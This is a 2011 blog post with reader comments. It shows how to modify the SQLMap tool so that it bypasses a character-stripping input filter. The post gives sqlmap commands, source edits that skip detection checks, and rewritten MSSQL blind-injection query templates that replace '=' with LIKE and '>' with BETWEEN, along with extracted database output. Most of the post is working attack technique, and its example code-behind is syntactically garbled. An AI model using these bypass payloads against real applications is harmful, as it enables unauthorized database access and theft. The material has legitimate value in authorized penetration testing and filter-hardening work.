Saturday, May 28, 2011

Customizing SQLMap to bypass weak (but effective) input filters

SQLMap is the most flexible Sql injection tool I have ever seen: written in python, opensource and fully customizable. Many times during penetration testing activities you will face the need to customize SQLMap.

In the following example the tool is not able to extract any data in it's default configuration since the application is filtering some particular characters.

Let's consider the following URL, where "id" parameter is known to the tester to be vulnerable. Website Url vulnerable to SQL injection:
https://www.bank.ok/injection.aspx?id=1%2b1


Codebehind in "injection.aspx.vb":
-------
string id = Request.Get("id")
id =
id.Replace("'","").Replace('"',''),Replace('<','').Replace('>','').Replace('=','')
Sql.execute("SELECT * FROM articles where article_id =" + id)
-------
Problem:

Even if data validation is not neat, it limits for sure standard pentesting tools. As we can see from SQLMap logs, bisection algorithm cannot work if the ">" character is filtered. In addition initial checks will not be able to discover that "id" parameter is injectable.

For example the following request will fail:
./sqlmap.py -u "https://www.bank.ok/injection.aspx?id=5" -p "id" --dbs
--dbms=mssql --string="This article is about politics"

Output: Error!

Solution:

To customize SqlMap for our purposes we need to accomplish 3 steps:
1) Disable all internal checks that are performed to see if a parameter
is injectable;
2) Tune Database checks;
3) Rewrite blind queries without filtered chars (in this case "<", ">"
and "=" );


1) To disable initial checks if you already know that a parameter is injectable, locate the following file in SQLMap tree: sqlmap/lib/controller/checks.py

This addition makes SQLmap skipping the control for checking if the
parameter is injectable or not. Since we already know that the parameter is injectable, we make SQLmap skip this check.

Added the following line at line "98"
-> return "numeric"

After that is important to skip database check:
2) Locate file: sqlmap/plugins/dbms/mssqlserver.py

After checking if the parameter is injectable, SQL map checks if the database is correct
or not. For Example if we already know that the database is MSSQL because of the "convert()" check.

We can skip this check as well:

Modified the following line at line "233"
else:
setDbms("Microsoft SQL Server")
self.getBanner()
kb.os = "Windows"
return True

3) To rewrite the logic behind inference, locate the following file
File: sqlmap/xml/queries.xml
In the following scenario I have rewritten Queries for MSSQL Server.

In particular "=" character sobstituted with "like" operator and changed ">" comparison via "between ... and", since the application filters the following chatacter set: = (equal
sign), < (left angle bracket),> (right angle bracket), " (double quote) and ' (single quote).



<inference query="+ CASE WHEN (ASCII(SUBSTRING((%s), %d, 1))) BETWEEN

%d+1 AND 500

THEN 0 ELSE 1 END--"/>

...

<blind query="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects
WHERE %s..syscolumns.id LIKE %s..sysobjects.id AND %s..sysobjects.name
LIKE '%s'"
query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,
%s..sysobjects WHERE
%s..syscolumns.name LIKE '%s' AND %s..syscolumns.id LIKE
%s..sysobjects.id AND
%s..sysobjects.name LIKE '%s'" count="SELECT LTRIM(STR(COUNT(name)))
FROM %s..syscolumns
WHERE id LIKE (SELECT id FROM %s..sysobjects WHERE name LIKE '%s')"
condition="[DB]..syscolumns.name"/>


The following command will now work. It will skip parameter injection test and will perform blind queries without using the filtered characters:

Command:

./sqlmap.py -u "https://www.bank.ok/injection.aspx?id=5" -p "id" --dbs

--dbms=mssql --string="This article is about politics"


Databases:

[1 entry]
+----------+
| Politics |
+----------+

4 comments:

  1. Also, you can check "Tamper injection data" from sqlmap

    ReplyDelete
  2. Note: This post is intended to show how to quick fix by yourself some common issues. The first that sometimes arise is that the check for injection may not be stable and therefore SQLmap doesn't start... etc. Input validation here is just a real case example.

    @dalvarez Thankyou! @Miroslav_Stampar also added in the mailing list: 'after last commit (added ./tamper/equaltolike.py tampering script)
    you can avoid filtering of >, < and = chars with: --tamper="between,equaltolike"'

    @bernardo_damele added "To
    avoid any fingerprint request, provide --dbms with "mssql 2005" for
    instance."

    ReplyDelete
  3. Hello, does someone know any update to this thread ? interesting but didn't figure out how to modify queries.xml because the file has changed.
    Any help would be appreciated.
    Regards

    Email : zayl543 [at] yahoo [dot] com

    ReplyDelete
  4. Thanks for the blog. Well I was trying to locate sqlmap/plugins/dbms/mssqlserver.py and I found a directory with the name mssqlserver/ which contains approx 14 files in it. Kindly update and let me know if possible.

    ReplyDelete